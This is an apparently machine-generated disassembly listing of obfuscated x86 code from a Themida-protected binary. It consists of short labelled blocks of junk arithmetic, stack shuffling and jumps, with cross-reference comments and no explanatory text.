; ---------------------------------------------------------------------------
loc_55CF4E: ; CODE XREF: Themida_:005643F1j
xor esi, 5B2C0D52h
sub esi, 0E810714Eh
jmp loc_561CB7
; ---------------------------------------------------------------------------
loc_55CF5F: ; CODE XREF: Themida_:0055EEA8j
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
mov esp, [esp]
push 2B33h
mov [esp], edx
push ebx
push 72C4h
mov [esp], eax
jmp loc_560730
; ---------------------------------------------------------------------------
loc_55CF80: ; CODE XREF: Themida_:00559DF4j
mov edi, 2DF81F6Ch
sub [esp+8], edi
pop edi
jmp loc_55A540
; ---------------------------------------------------------------------------
loc_55CF8F: ; CODE XREF: Themida_:005569F9j
add dword ptr [esp], 5FB12F9Ch
push dword ptr [esp]
mov esi, [esp]
jmp loc_551B70
; ---------------------------------------------------------------------------
loc_55CFA1: ; CODE XREF: Themida_:0055DEE7j
mov [esp], eax
push edi
jmp loc_561B2C
; ---------------------------------------------------------------------------
loc_55CFAA: ; CODE XREF: Themida_:00556142j
push eax
add dword ptr [esp], 3CC51C42h
jmp loc_5596DD
; ---------------------------------------------------------------------------
loc_55CFB7: ; CODE XREF: Themida_:0056493Dj
mov edi, 530928E9h
shr edi, 5
or edi, 33136363h
xor edi, 4C3B5CECh
mov ecx, edi
pop edi
push ebx
mov ebx, 1D7705AAh
xor ebx, 62D73225h
push ebx
pop esi
jmp loc_56526B
; ---------------------------------------------------------------------------
loc_55CFE1: ; CODE XREF: Themida_:005649C0j
xchg esi, ebp
not esi
xchg esi, ebp
inc ebp
add ebp, 205060B3h
jmp loc_559F23
; ---------------------------------------------------------------------------
loc_55CFF3: ; CODE XREF: Themida_:0055179Bj
xor edx, [esp]
jmp loc_55FB94
; ---------------------------------------------------------------------------
loc_55CFFB: ; CODE XREF: Themida_:0055633Dj
add eax, ecx
pop ecx
pop edx
xor edi, eax
pop eax
push esi
mov esi, 6B3A4C94h
sub ecx, esi
pop esi
add ecx, edi
add ecx, 6B3A4C94h
mov edi, [esp]
add esp, 4
push ecx
jmp loc_563E45
; ---------------------------------------------------------------------------
loc_55D022: ; CODE XREF: Themida_:00562EBDj
push edx
mov edx, esp
jmp loc_551EC5
; ---------------------------------------------------------------------------
loc_55D02A: ; CODE XREF: Themida_:0055F624j
xor ebx, ebp
jmp loc_55A39E
; ---------------------------------------------------------------------------
loc_55D031: ; CODE XREF: Themida_:0055DE27j
sub bl, 0D8h
add bl, dl
add bl, 0D8h
pop edx
jmp loc_554F38
; ---------------------------------------------------------------------------
loc_55D03F: ; CODE XREF: Themida_:00560311j
push 689607CDh
pop esi
not esi
not esi
jmp loc_55248E
; ---------------------------------------------------------------------------
loc_55D04E: ; CODE XREF: Themida_:00565862j
mov esp, [esp]
jmp loc_562868
; ---------------------------------------------------------------------------
loc_55D056: ; CODE XREF: Themida_:00563609j
sub ebp, ebx
sub ebp, 21C92F8Fh
jmp loc_55999C
; ---------------------------------------------------------------------------
loc_55D063: ; CODE XREF: Themida_:00556C34j
mov al, 8Bh
dec al
or al, 0C8h
not al
push ebx
mov bh, 0D5h
add al, bh
pop ebx
add cl, 4Ch
sub cl, al
jmp loc_55C733
; ---------------------------------------------------------------------------
loc_55D07B: ; CODE XREF: Themida_:00555A7Bj
sub esp, 4
mov [esp], esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
pop esp
jmp loc_556C39
; ---------------------------------------------------------------------------
loc_55D08F: ; CODE XREF: Themida_:0055D6C8j
push ebx
push 3C6C7325h
pop ebx
dec ebx
dec ebx
push edi
mov edi, 43754FD0h
dec edi
shl edi, 6
add edi, 5B5D9083h
xor ebx, edi
pop edi
mov edx, ebx
pop ebx
xor ecx, edx
pop edx
rep movsd
add esp, [edx+38h]
push 2171h
mov [esp], eax
mov eax, esp
add eax, 4
sub eax, 4
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
pop esp
mov [esp], ebx
mov ebx, 12796797h
push ebp
push 59CA4D51h
jmp loc_56110E
; ---------------------------------------------------------------------------
loc_55D0E7: ; CODE XREF: Themida_:00558C0Dj
pop ebp
jmp loc_55ECF8
; ---------------------------------------------------------------------------
loc_55D0ED: ; CODE XREF: Themida_:00565314j
pop esp
pop dword ptr [esp]
jmp loc_565986
; ---------------------------------------------------------------------------
loc_55D0F6: ; CODE XREF: Themida_:00564454j
pop ecx
add ebx, 0ECC7020Bh
add esi, ebx
mov ebx, [esp]
jmp loc_55839F
; ---------------------------------------------------------------------------
loc_55D107: ; CODE XREF: Themida_:0055FF9Ej
xor ecx, 47966AB2h
jmp loc_559F72
; ---------------------------------------------------------------------------
loc_55D112: ; CODE XREF: Themida_:00561DBFj
add esp, 4
push 33B8h
mov [esp], ebx
push 1A3Dh
mov [esp], ebp
mov ebp, 27515BF9h
mov ebx, ebp
pop ebp
sub esi, 143D37ADh
sub esi, 5C9E1B2Ah
jmp loc_561B86
; ---------------------------------------------------------------------------
loc_55D141: ; CODE XREF: Themida_:0055138Dj
pop dword ptr [esp]
pop esp
or eax, eax
jz loc_5530CF
push 2854h
mov [esp], eax
mov eax, 1Ch
push esi
mov esi, 2A862F2Ch
shl esi, 7
push 66EBh
mov [esp], eax
mov eax, 0D93A501Ch
sub esi, eax
jmp loc_561DAA
; ---------------------------------------------------------------------------
loc_55D177: ; CODE XREF: Themida_:0055B766j
mov [esp], ebx
jmp loc_552CC9
; ---------------------------------------------------------------------------
loc_55D17F: ; CODE XREF: Themida_:005601C6j
push esp
pop esi
add esi, 4
sub esi, 4
xchg esi, [esp]
jmp loc_5573E3
; ---------------------------------------------------------------------------
loc_55D192: ; CODE XREF: Themida_:00565A07j
sub bl, 65h
add bl, ch
push ecx
jmp loc_55DF78
; ---------------------------------------------------------------------------
push edi
push esp
pop edi
add edi, 4
sub edi, 4
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
pop esp
mov [esp], eax
sub esp, 4
push esp
pop dword ptr [esp]
push ebp
mov ebp, 4
add [esp+4], ebp
jmp loc_55614F
; ---------------------------------------------------------------------------
loc_55D1CF: ; CODE XREF: Themida_:00563ED1j
pop edx
xchg edi, [esp]
jmp loc_55DC13
; ---------------------------------------------------------------------------
loc_55D1D8: ; CODE XREF: Themida_:00558D52j
mov ecx, ebp
pop ebp
not ecx
jmp loc_564FD3
; ---------------------------------------------------------------------------
loc_55D1E2: ; CODE XREF: Themida_:00553A4Bj
jmp loc_550420
; ---------------------------------------------------------------------------
loc_55D1E7: ; CODE XREF: Themida_:005636E9j
mov dl, 3Fh
push edx
mov dh, 0A3h
add dh, 8Dh
jmp loc_55E7B8
; ---------------------------------------------------------------------------
loc_55D1F4: ; CODE XREF: Themida_:005628A6j
push edi
push 646Ch
mov [esp], edi
jmp loc_55F663
; ---------------------------------------------------------------------------
loc_55D202: ; CODE XREF: Themida_:005527FEj
inc esi
push edi
jmp loc_55F992
; ---------------------------------------------------------------------------
loc_55D209: ; CODE XREF: Themida_:00550DBEj
pop esp
mov [esp], ebx
push eax
mov ah, 0BBh
push edx
mov dl, 12h
sub ah, dl
pop edx
push ecx
mov ch, ah
mov bl, ch
pop ecx
pop eax
push edx
mov dh, 0D6h
sub bl, dh
pop edx
shr bl, 8
or bl, 8Dh
add bl, 0DCh
add al, 0ADh
add al, bl
jmp loc_563061
; ---------------------------------------------------------------------------
loc_55D235: ; CODE XREF: Themida_:005564D9j
push eax
jmp loc_5598F2
; ---------------------------------------------------------------------------
loc_55D23B: ; CODE XREF: Themida_:005539ACj
mov [esp], ecx
jmp loc_550420
; ---------------------------------------------------------------------------
loc_55D243: ; CODE XREF: Themida_:00555B8Bj
mov esp, [esp]
push 532h
jmp loc_55F3C6
; ---------------------------------------------------------------------------
loc_55D250: ; CODE XREF: Themida_:00563D9Fj
mov [esp], bx
mov bh, 65h
sub al, bh
pop bx
sub al, dl
jmp loc_5608D3
; ---------------------------------------------------------------------------
loc_55D261: ; CODE XREF: Themida_:0055478Aj
and esi, eax
jmp loc_563D2B
; ---------------------------------------------------------------------------
loc_55D268: ; CODE XREF: Themida_:00564ADCj
push edx
jmp loc_55345E
; ---------------------------------------------------------------------------
loc_55D26E: ; CODE XREF: Themida_:0055F65Ej
sub esp, 4
mov [esp], ebx
mov ebx, 31865F0Ah
push esi
jmp loc_564F8F
; ---------------------------------------------------------------------------
loc_55D27F: ; CODE XREF: Themida_:00554E62j
pop edi
jmp loc_5569E2
; ---------------------------------------------------------------------------
loc_55D285: ; CODE XREF: Themida_:00562837j
push edi
mov edi, 51EA17DEh
jmp loc_552FB7
; ---------------------------------------------------------------------------
loc_55D290: ; CODE XREF: Themida_:005547A5j
add ecx, 4
push 135Fh
jmp loc_554C01
; ---------------------------------------------------------------------------
loc_55D29D: ; CODE XREF: Themida_:00561138j
pop esi
xor ebp, [esp]
jmp loc_557D20
; ---------------------------------------------------------------------------
loc_55D2A6: ; CODE XREF: Themida_:0055C870j
pop edx
push ecx
mov ecx, esp
push ebp
mov ebp, 4
jmp loc_554E2D
; ---------------------------------------------------------------------------
loc_55D2B5: ; CODE XREF: Themida_:0055DC0Ej
mov ebp, 63AA0F12h
shr ebp, 3
neg ebp
shl ebp, 6
jmp loc_551BAB
; ---------------------------------------------------------------------------
loc_55D2C7: ; CODE XREF: Themida_:00555195j
xor ebx, 2C256FE8h
add ebp, ebx
jmp loc_55C9BC
; ---------------------------------------------------------------------------
loc_55D2D4: ; CODE XREF: Themida_:0055F37Aj
mov cx, [esp]
jmp loc_55E831
; ---------------------------------------------------------------------------
loc_55D2DD: ; CODE XREF: Themida_:005612C7j
dec ebx
add ebx, 1
push esi
mov esi, 1FE92565h
not esi
or esi, 19506573h
shl esi, 1
dec esi
xor esi, 255238E9h
xor esi, 0F316CE0Fh
sub ebx, 13C60B02h
sub ebx, esi
add ebx, 13C60B02h
pop esi
neg ebx
push eax
mov eax, 1D8E2E21h
add ebx, eax
jmp loc_55EFF0
; ---------------------------------------------------------------------------
loc_55D31F: ; CODE XREF: Themida_:005625CEj
push 7B909ECh
pop eax
not eax
and eax, 2D33737Eh
jmp loc_559F96
; ---------------------------------------------------------------------------
loc_55D331: ; CODE XREF: Themida_:00552241j
push esi
mov esi, esp
jmp loc_55318E
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop ax
adc [esp], al
pushf
jmp loc_550420
; ---------------------------------------------------------------------------
lodsd
add eax, 52674603h
push 2E4Bh
mov [esp], edx
jmp loc_550BAD
; ---------------------------------------------------------------------------
loc_55D35B: ; CODE XREF: Themida_:0055C097j
xchg esi, [esp]
jmp loc_55C5CF
; ---------------------------------------------------------------------------
loc_55D363: ; CODE XREF: Themida_:00559C38j
shr bl, 5
push 4F7h
jmp loc_561D12
; ---------------------------------------------------------------------------
loc_55D370: ; CODE XREF: Themida_:0055CB7Dj
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
push esp
pop dword ptr [esp]
push edx
mov edx, 4
add [esp+4], edx
mov edx, [esp]
add esp, 4
pop edi
push eax
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp]
pop esp
mov [esp], eax
push ebx
mov ebx, 4
mov eax, ebx
mov ebx, [esp]
add esp, 4
add edi, eax
jmp loc_565AC4
; ---------------------------------------------------------------------------
loc_55D3BF: ; CODE XREF: Themida_:0055FEA1j
push ebp
jmp loc_55AF4B
; ---------------------------------------------------------------------------
loc_55D3C5: ; CODE XREF: Themida_:0055B818j
xor ecx, 71BE61AAh
add ebx, ecx
pop ecx
push 1524h
mov [esp], esi
mov esi, 4
push esi
mov esi, 4C025224h
and esi, 89D1FFCh
xor esi, 3DE155B1h
add ebx, esi
pop esi
sub esp, 4
mov [esp], eax
mov eax, 725356B1h
add ebx, eax
jmp loc_55A8F3
; ---------------------------------------------------------------------------
loc_55D405: ; CODE XREF: Themida_:00552AAAj
sub al, cl
add al, 6Eh
push edx
mov edx, esp
jmp loc_550DB2
; ---------------------------------------------------------------------------
loc_55D411: ; CODE XREF: Themida_:0056460Aj
add esp, 4
push dword ptr [esp]
pop ebx
push 6EDAh
mov [esp], ebp
push esp
pop ebp
add ebp, 4
push eax
mov eax, 4
add ebp, eax
pop eax
xchg ebp, [esp]
jmp loc_55B320
; ---------------------------------------------------------------------------
loc_55D439: ; CODE XREF: Themida_:00565038j
push 7E01h
mov [esp], esi
add dword ptr [esp], 60DB0ACFh
pop edi
push esi
mov esi, 60DB0ACFh
jmp loc_5507B1
; ---------------------------------------------------------------------------
loc_55D454: ; CODE XREF: Themida_:0055255Bj
pop edi
jmp loc_55E9AF
; ---------------------------------------------------------------------------
loc_55D45A: ; CODE XREF: Themida_:0056519Bj
pop eax
pop ebx
shl esi, 1
shr esi, 4
and esi, 24D56E5Ah
sub esi, 1
push ebp
mov ebp, 7DC36593h
shl ebp, 4
and ebp, 143A3B7Bh
push ebp
sub dword ptr [esp], 0FFFFFFFFh
jmp loc_55716F
; ---------------------------------------------------------------------------
loc_55D489: ; CODE XREF: Themida_:0055A666j
pop ecx
add esi, ebx
pop ebx
pop eax
add esi, 2
xor esi, [esp]
xor [esp], esi
jmp loc_55606B
; ---------------------------------------------------------------------------
loc_55D49F: ; CODE XREF: Themida_:005655E6j
add eax, 3C5FEAD4h
mov edx, eax
jmp loc_565470
; ---------------------------------------------------------------------------
loc_55D4AB: ; CODE XREF: Themida_:0055F9C1j
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
and eax, ebx
push dword ptr [esp]
push dword ptr [esp]
jmp loc_55F433
; ---------------------------------------------------------------------------
loc_55D4CB: ; CODE XREF: Themida_:00555811j
sub al, dh
add al, 36h
mov edx, [esp]
add esp, 4
jmp loc_55FB6D
; ---------------------------------------------------------------------------
loc_55D4DA: ; CODE XREF: Themida_:0055212Fj
sub ebx, 0E1EEBB3Dh
sub ecx, 69F13D1h
add ecx, ebx
push edx
jmp loc_550B2C
; ---------------------------------------------------------------------------
loc_55D4EE: ; CODE XREF: Themida_:00562776j
add ebx, edx
pop edx
add ebx, edx
push edi
jmp loc_558173
; ---------------------------------------------------------------------------
loc_55D4F9: ; CODE XREF: Themida_:00554740j
push ecx
mov ecx, esp
push esi
mov esi, 0D6C4873h
xor esi, 6C6E7039h
and esi, 8FB3861h
push edi
mov edi, 23844h
jmp loc_55ACE1
; ---------------------------------------------------------------------------
loc_55D519: ; CODE XREF: Themida_:00562AC7j
add eax, 4
xchg eax, [esp]
jmp loc_564F12
; ---------------------------------------------------------------------------
loc_55D526: ; CODE XREF: Themida_:0055E95Aj
mov esi, [esp]
add esp, 4
add ecx, ebp
mov ebp, [esp]
add esp, 4
push 8Bh
jmp loc_554B62
; ---------------------------------------------------------------------------
loc_55D541: ; CODE XREF: Themida_:0055736Ej
pop eax
push 5Fh
mov [esp], ebp
jmp loc_55E44D
; ---------------------------------------------------------------------------
loc_55D54F: ; CODE XREF: Themida_:0056420Cj
push esi
mov esi, 497D033Bh
shr esi, 4
add esi, 29D838C4h
neg esi
shr esi, 2
shl esi, 8
add esi, 0FC46F69h
sub ecx, 0CBB7D9Eh
sub ecx, esi
add ecx, 0CBB7D9Eh
mov esi, [esp]
jmp loc_5641D6
; ---------------------------------------------------------------------------
loc_55D582: ; CODE XREF: Themida_:005550E4j
xor bl, al
movzx eax, al
jmp loc_554DE1
; ---------------------------------------------------------------------------
loc_55D58C: ; CODE XREF: Themida_:00559EF9j
add al, 7Bh
push edx
mov dl, 0D9h
push esi
mov esi, esp
add esi, 4
jmp loc_5610B3
; ---------------------------------------------------------------------------
loc_55D59F: ; CODE XREF: Themida_:00560967j
mov edx, [esp]
add esp, 4
sub esp, 4
jmp loc_559B82
; ---------------------------------------------------------------------------
loc_55D5B0: ; CODE XREF: Themida_:0055B52Ej
add dword ptr [esp], 4
push dword ptr [esp]
pop edi
add esp, 4
push ecx
push ebx
jmp loc_55C537
; ---------------------------------------------------------------------------
loc_55D5C5: ; CODE XREF: Themida_:00552497j
mov ah, dl
pop edx
mov dh, 67h
sub dh, ah
pop eax
not dh
inc dh
sub dh, 1
not dh
push bx
push edx
mov dl, 2Eh
add dl, 67h
neg dl
jmp loc_563169
; ---------------------------------------------------------------------------
loc_55D5E5: ; CODE XREF: Themida_:005540EBj
add edx, 4
xchg edx, [esp]
pop esp
push 18Eh
mov [esp], ecx
jmp loc_5519EE
; ---------------------------------------------------------------------------
loc_55D5FC: ; CODE XREF: Themida_:00550A5Fj
mov ecx, [esp]
push edi
push esp
mov edi, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
push edx
mov edx, 4
sub edi, 338B1AAAh
add edi, edx
jmp loc_552A3D
; ---------------------------------------------------------------------------
loc_55D627: ; CODE XREF: Themida_:005545D9j
dec al
dec al
jmp loc_5608A7
; ---------------------------------------------------------------------------
loc_55D630: ; CODE XREF: Themida_:0055DC90j
push ebp
jmp loc_55E02F
; ---------------------------------------------------------------------------
loc_55D636: ; CODE XREF: Themida_:0055EB47j
add ecx, 4
push eax
mov eax, 4
add ecx, eax
pop eax
xchg ecx, [esp]
pop esp
dec esi
sub esp, 4
jmp loc_558F75
; ---------------------------------------------------------------------------
loc_55D652: ; CODE XREF: Themida_:005538FAj
add esp, 4
push eax
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp]
pop esp
mov [esp], ecx
mov ecx, 4
add esi, ecx
jmp loc_5655AE
; ---------------------------------------------------------------------------
loc_55D673: ; CODE XREF: Themida_:005530F9j
sub esi, 4
xchg esi, [esp]
pop esp
jmp loc_55E0E8
; ---------------------------------------------------------------------------
loc_55D682: ; CODE XREF: Themida_:0055E754j
inc ebx
or ebx, 4F4755C7h
add ebx, 4AADBFBCh
mov edx, ebx
jmp loc_553F91
; ---------------------------------------------------------------------------
loc_55D696: ; CODE XREF: Themida_:0056333Ej
xchg ebx, [esp]
pop esp
add edx, 7050C95h
jmp loc_555125
; ---------------------------------------------------------------------------
loc_55D6A5: ; CODE XREF: Themida_:0055F58Aj
add edx, 18A52665h
push dword ptr [esp]
pop ecx
add esp, 4
push eax
mov eax, 2
sub edx, 655E2478h
jmp loc_55BF6D
; ---------------------------------------------------------------------------
loc_55D6C3: ; CODE XREF: Themida_:00557804j
pop esi
shr ecx, 4
push edx
jmp loc_55D08F
; ---------------------------------------------------------------------------
loc_55D6CD: ; CODE XREF: Themida_:00557B97j
push edx
mov edx, 30CD63D5h
add ebp, edx
pop edx
add ebp, edi
push esi
mov esi, 58C5514Dh
and esi, 12DE3EE3h
jmp loc_55F4F2
; ---------------------------------------------------------------------------
loc_55D6E9: ; CODE XREF: Themida_:0055C05Bj
pop esi
shr esi, 2
xor esi, edx
xor edx, esi
jmp loc_561FCD
; ---------------------------------------------------------------------------
loc_55D6F6: ; CODE XREF: Themida_:00559788j
pop eax
jmp loc_5567AD
; ---------------------------------------------------------------------------
loc_55D6FC: ; CODE XREF: Themida_:00555F50j
mov [esp], ebx
mov bh, dl
jmp loc_553988
; ---------------------------------------------------------------------------
loc_55D706: ; CODE XREF: Themida_:00552859j
add [esp+4], ebp
add dword ptr [esp+4], 39035DBEh
sub dword ptr [esp+4], 72712E10h
push dword ptr [esp]
jmp loc_564529
; ---------------------------------------------------------------------------
loc_55D722: ; CODE XREF: Themida_:0055CF49j
add edi, ebx
pop ebx
add edi, 4
xchg edi, [esp]
pop esp
xchg edx, [esp]
mov esp, [esp]
push 6E19h
jmp loc_5601CB
; ---------------------------------------------------------------------------
loc_55D73F: ; CODE XREF: Themida_:0055ABE5j
mov ebx, 56932B76h
mov edi, 42C90AFFh
or edi, 7F746A26h
not edi
not edi
push esi
mov esi, 296A3F87h
sub edi, esi
pop esi
sub edi, ebx
mov ebx, [esp]
jmp loc_55A7D3
; ---------------------------------------------------------------------------
loc_55D766: ; CODE XREF: Themida_:0055F91Dj
sub esi, edx
pop edx
dec esi
or esi, 703B1B91h
sub esi, 44732BD0h
xor esi, 4FD472E2h
jmp loc_5533CF
; ---------------------------------------------------------------------------
loc_55D781: ; CODE XREF: Themida_:00554A3Cj
push dword ptr [esp]
mov edi, [esp]
add esp, 4
push ecx
mov ecx, esp
jmp loc_5608AD
; ---------------------------------------------------------------------------
loc_55D795: ; CODE XREF: Themida_:00552F0Cj
push 3474h
mov [esp], ecx
jmp loc_564D76
; ---------------------------------------------------------------------------
loc_55D7A2: ; CODE XREF: Themida_:00559859j
or ecx, 439002E2h
dec ecx
neg ecx
add ecx, 4AC74540h
add ecx, 0B13442A5h
add [esp+4], ecx
pop ecx
pop ecx
push ebx
jmp loc_562F85
; ---------------------------------------------------------------------------
loc_55D7C3: ; CODE XREF: Themida_:0055E7E1j
mov edx, [esp]
jmp loc_553078
; ---------------------------------------------------------------------------
loc_55D7CB: ; CODE XREF: Themida_:005547EAj
push edi
push 69D02289h
pop edi
and esi, edi
pop edi
jmp loc_55BA51
; ---------------------------------------------------------------------------
loc_55D7DA: ; CODE XREF: Themida_:005583B0j
inc eax
xor eax, 41830A7Bh
add esi, eax
pop eax
jmp loc_55E3BB
; ---------------------------------------------------------------------------
loc_55D7E8: ; CODE XREF: Themida_:00561099j
push ebp
jmp loc_55FAEF
; ---------------------------------------------------------------------------
loc_55D7EE: ; CODE XREF: Themida_:00564A0Aj
push 4751h
mov [esp], esi
push edx
push 0E170BB3h
pop edx
sub edx, 0FFFFFFFFh
xchg ecx, edx
not ecx
xchg ecx, edx
push ebp
mov ebp, 44A02F89h
shl ebp, 3
xchg eax, ebp
inc eax
xchg eax, ebp
xor ebp, 0C02CD631h
jmp loc_558B0F
; ---------------------------------------------------------------------------
loc_55D81D: ; CODE XREF: Themida_:0055DEA2j
mov al, dh
push edx
mov dl, al
mov bh, dl
mov edx, [esp]
jmp loc_55943F
; ---------------------------------------------------------------------------
loc_55D82C: ; CODE XREF: Themida_:00562DFEj
add al, 0D9h
sub bl, 11h
add bl, al
jmp loc_554199
; ---------------------------------------------------------------------------
loc_55D838: ; CODE XREF: Themida_:00550CD4j
add edx, 49B9515Fh
add edx, 3A836982h
jmp loc_56269D
; ---------------------------------------------------------------------------
loc_55D849: ; CODE XREF: Themida_:0055BAB9j
push esi
mov esi, 9E56211h
xor edx, esi
jmp loc_560637
; ---------------------------------------------------------------------------
loc_55D856: ; CODE XREF: Themida_:0055D9B1j
mov edi, ebp
pop ebp
and edi, 2C5908C1h
or edi, 7F6F577Ah
push edx
push 5FECh
mov [esp], esi
mov esi, 3A12C99h
mov edx, esi
pop esi
shr edx, 4
dec edx
shr edx, 7
push esi
mov esi, 1DFE27CCh
not esi
xor esi, 97DADFE9h
sub edx, 1F403C05h
add edx, esi
jmp loc_5547AA
; ---------------------------------------------------------------------------
loc_55D898: ; CODE XREF: Themida_:00553C1Cj
sub eax, esi
pop esi
add ebx, eax
pop eax
mov edi, [esp]
add esp, 4
add ebx, 594E7051h
add edx, 53337E02h
add edx, eax
push esi
mov esi, 4BB44CC1h
jmp loc_55F6DE
; ---------------------------------------------------------------------------
loc_55D8BD: ; CODE XREF: Themida_:00556EECj
mov ebp, [esp]
add esp, 4
pop dword ptr [esp]
pop esp
add esp, 4
push ebp
mov ebp, 62C26069h
dec ebp
jmp loc_5629A3
; ---------------------------------------------------------------------------
loc_55D8DC: ; CODE XREF: Themida_:005556A0j
add edx, 4
push esi
push edx
mov edx, 30F6247Fh
jmp loc_560171
; ---------------------------------------------------------------------------
loc_55D8EE: ; CODE XREF: Themida_:0055545Cj
xor [esp+4], ecx
jmp loc_55F269
; ---------------------------------------------------------------------------
loc_55D8F7: ; CODE XREF: Themida_:0055C98Dj
mov ebx, 554707D0h
add ebp, ebx
jmp loc_5630D6
; ---------------------------------------------------------------------------
loc_55D903: ; CODE XREF: Themida_:00561C3Aj
mov ebx, 2
add ebp, ebx
jmp loc_565CB6
; ---------------------------------------------------------------------------
loc_55D90F: ; CODE XREF: Themida_:00551BE8j
shl ecx, 7
sub esp, 4
mov [esp], esi
jmp loc_55F89B
; ---------------------------------------------------------------------------
loc_55D920: ; CODE XREF: Themida_:0055A441j
mov [esp], ecx
jmp loc_5508E8
; ---------------------------------------------------------------------------
loc_55D928: ; CODE XREF: Themida_:00564847j
push 1173h
mov [esp], esi
mov esi, 29715142h
and edx, esi
pop esi
and edx, 6B782F3Eh
jmp loc_562B70
; ---------------------------------------------------------------------------
loc_55D943: ; CODE XREF: Themida_:0055FB41j
pop esp
mov [esp], edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
jmp loc_56406F
; ---------------------------------------------------------------------------
loc_55D954: ; CODE XREF: Themida_:00561EF1j
and ecx, 6CBB4C3Bh
or ecx, 3674284Bh
dec ecx
not ecx
sub ecx, 2792301Ah
xor ecx, 0CB7127C8h
xor edi, ecx
pop ecx
jmp loc_55BC72
; ---------------------------------------------------------------------------
loc_55D977: ; CODE XREF: Themida_:005532C0j
not dword ptr [esp]
jmp loc_5630AE
; ---------------------------------------------------------------------------
loc_55D97F: ; CODE XREF: Themida_:005524FEj
pop ebx
pop dword ptr [esp]
pop esp
sub esp, 4
mov [esp], eax
mov eax, 4
sub esi, 173388Dh
add esi, eax
add esi, 173388Dh
jmp loc_558E23
; ---------------------------------------------------------------------------
loc_55D9A2: ; CODE XREF: Themida_:00565561j
mov [esp], edi
push ebp
mov ebp, 254C5178h
add ebp, 5871E48h
jmp loc_55D856
; ---------------------------------------------------------------------------
loc_55D9B6: ; CODE XREF: Themida_:0055F7F2j
shr eax, 6
shl eax, 1
jmp loc_5630E8
; ---------------------------------------------------------------------------
loc_55D9C0: ; CODE XREF: Themida_:00562CBFj
add edx, ebp
pop ebp
push eax
jmp loc_565AA5
; ---------------------------------------------------------------------------
loc_55D9C9: ; CODE XREF: Themida_:0056571Cj
mov [esp], edi
mov edi, 4
jmp loc_55BAA1
; ---------------------------------------------------------------------------
loc_55D9D6: ; CODE XREF: Themida_:0056591Bj
push dword ptr [esp+4]
pop edx
jmp loc_56455B
; ---------------------------------------------------------------------------
loc_55D9E0: ; CODE XREF: Themida_:00554641j
add esp, 4
jmp loc_55B420
; ---------------------------------------------------------------------------
loc_55D9E8: ; CODE XREF: Themida_:00553B35j
mov [esp], ebp
mov ebp, 4321361Eh
push eax
mov eax, 27B867E9h
add ebx, eax
pop eax
sub ebx, ebp
push esi
mov esi, 31D3416Bh
jmp loc_55978D
; ---------------------------------------------------------------------------
loc_55DA06: ; CODE XREF: Themida_:005613E2j
push edi
mov edi, esp
jmp loc_55ACC7
; ---------------------------------------------------------------------------
loc_55DA0E: ; CODE XREF: Themida_:0055B919j
add esp, 4
push edi
mov edi, 4
jmp loc_55A857
; ---------------------------------------------------------------------------
loc_55DA1F: ; CODE XREF: Themida_:00557B84j
pop eax
shr edi, 6
shr edi, 5
add edi, 186ECB2Ah
mov ebx, edi
pop edi
sub ebp, 6A6B0C9Ah
sub ebp, ebx
add ebp, 6A6B0C9Ah
jmp loc_564100
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov eax, [esp]
add esp, 4
push 4BADh
mov [esp], ebp
mov ebp, esp
push edi
jmp loc_565032
; ---------------------------------------------------------------------------
loc_55DA5B: ; CODE XREF: Themida_:00558F38j
sub ebp, 3B7E1510h
add eax, ebp
pop ebp
mov ebx, eax
jmp loc_551148
; ---------------------------------------------------------------------------
loc_55DA6B: ; CODE XREF: Themida_:00552097j
add eax, 6A123BABh
mov ebp, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
jmp loc_551C35
; ---------------------------------------------------------------------------
loc_55DA87: ; CODE XREF: Themida_:00558B0Aj
inc eax
jmp loc_555637
; ---------------------------------------------------------------------------
loc_55DA8D: ; CODE XREF: Themida_:0055970Fj
xchg eax, ebp
not ebp
xchg eax, ebp
not eax
xor eax, 0E755D346h
add ebp, 553746FCh
jmp loc_551F5D
; ---------------------------------------------------------------------------
loc_55DAA3: ; CODE XREF: Themida_:00559588j
mov [esp], ecx
mov ecx, 1DB03F0Dh
or ebp, ecx
jmp loc_550860
; ---------------------------------------------------------------------------
loc_55DAB2: ; CODE XREF: Themida_:005625D9j
push ecx
mov ecx, esp
jmp loc_55FEF1
; ---------------------------------------------------------------------------
loc_55DABA: ; CODE XREF: Themida_:0055E488j
and ebx, 2107326h
push 549Ch
mov [esp], ecx
mov ecx, 0E055CD24h
sub ebx, ecx
jmp loc_56438C
; ---------------------------------------------------------------------------
loc_55DAD4: ; CODE XREF: Themida_:00561521j
mov ecx, [esp]
add esp, 4
jmp loc_55E858
; ---------------------------------------------------------------------------
loc_55DADF: ; CODE XREF: Themida_:00551E6Fj
pop dx
jmp loc_551AFD
; ---------------------------------------------------------------------------
loc_55DAE6: ; CODE XREF: Themida_:0056086Bj
or ecx, 4461BAh
sub ecx, 1C577C20h
xor ecx, 26933250h
sub ecx, 7081C508h
add ebx, ecx
push dword ptr [esp]
pop ecx
add esp, 4
add ebx, eax
push ecx
mov ecx, 72B20C38h
xor ecx, 155D516Dh
shr ecx, 8
jmp loc_564886
; ---------------------------------------------------------------------------
loc_55DB1D: ; CODE XREF: Themida_:00560FC1j
mov esi, 27515BF9h
mov edi, esi
pop esi
jmp loc_559091
; ---------------------------------------------------------------------------
loc_55DB2A: ; CODE XREF: Themida_:00558940j
mov edx, 3CB56D00h
add edx, 2BA120BEh
sub edx, 32A67965h
push eax
jmp loc_56330E
; ---------------------------------------------------------------------------
loc_55DB41: ; CODE XREF: Themida_:00562925j
push edi
mov edi, 218B0B9Bh
push 971h
mov [esp], esi
mov esi, 11FE1725h
or edi, esi
pop esi
shr edi, 6
xor edi, 3A4D3FC2h
shr edi, 7
dec edi
xor edi, 5CA3AE4h
jmp loc_556046
; ---------------------------------------------------------------------------
loc_55DB6F: ; CODE XREF: Themida_:005635EDj
add ebp, 69093D21h
